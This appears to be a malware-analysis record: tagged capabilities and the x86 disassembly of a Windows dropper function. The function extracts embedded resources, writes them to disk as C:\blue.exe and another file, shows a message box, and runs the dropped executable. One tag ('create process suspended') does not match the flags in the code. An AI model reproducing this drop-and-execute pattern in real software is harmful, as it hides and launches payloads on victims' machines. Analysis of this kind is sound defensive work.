Function at 0x401460
Capabilities:
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0xc4
call sym.___main
mov dword [esp + 8], 0x405064
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._FindResourceA_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._LoadResource_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._LockResource_4
sub esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._SizeofResource_8
sub esp, 8
mov dword [ebp - 0x18], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 7
mov dword [esp + 4], 0x40000000
mov dword [esp], 0x405068
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], 0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x34]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._FreeResource_4
sub esp, 4
mov dword [esp + 8], 0x405074
mov dword [esp + 4], 1
mov dword [esp], 0
call sym._FindResourceA_12
sub esp, 0xc
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._LoadResource_8
sub esp, 8
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._LockResource_4
sub esp, 4
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._SizeofResource_8
sub esp, 8
mov dword [ebp - 0x2c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 7
mov dword [esp + 4], 0x40000000
mov dword [esp], str.C:_blue.exe
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x38], 0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x38]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._FreeResource_4
sub esp, 4
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x405084
mov dword [esp + 4], 0x405090
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x7c]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x7c], 0x44
lea eax, [ebp - 0x8c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x7c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.C:_blue.exe
call sym._CreateProcessA_40
sub esp, 0x28
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x88]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret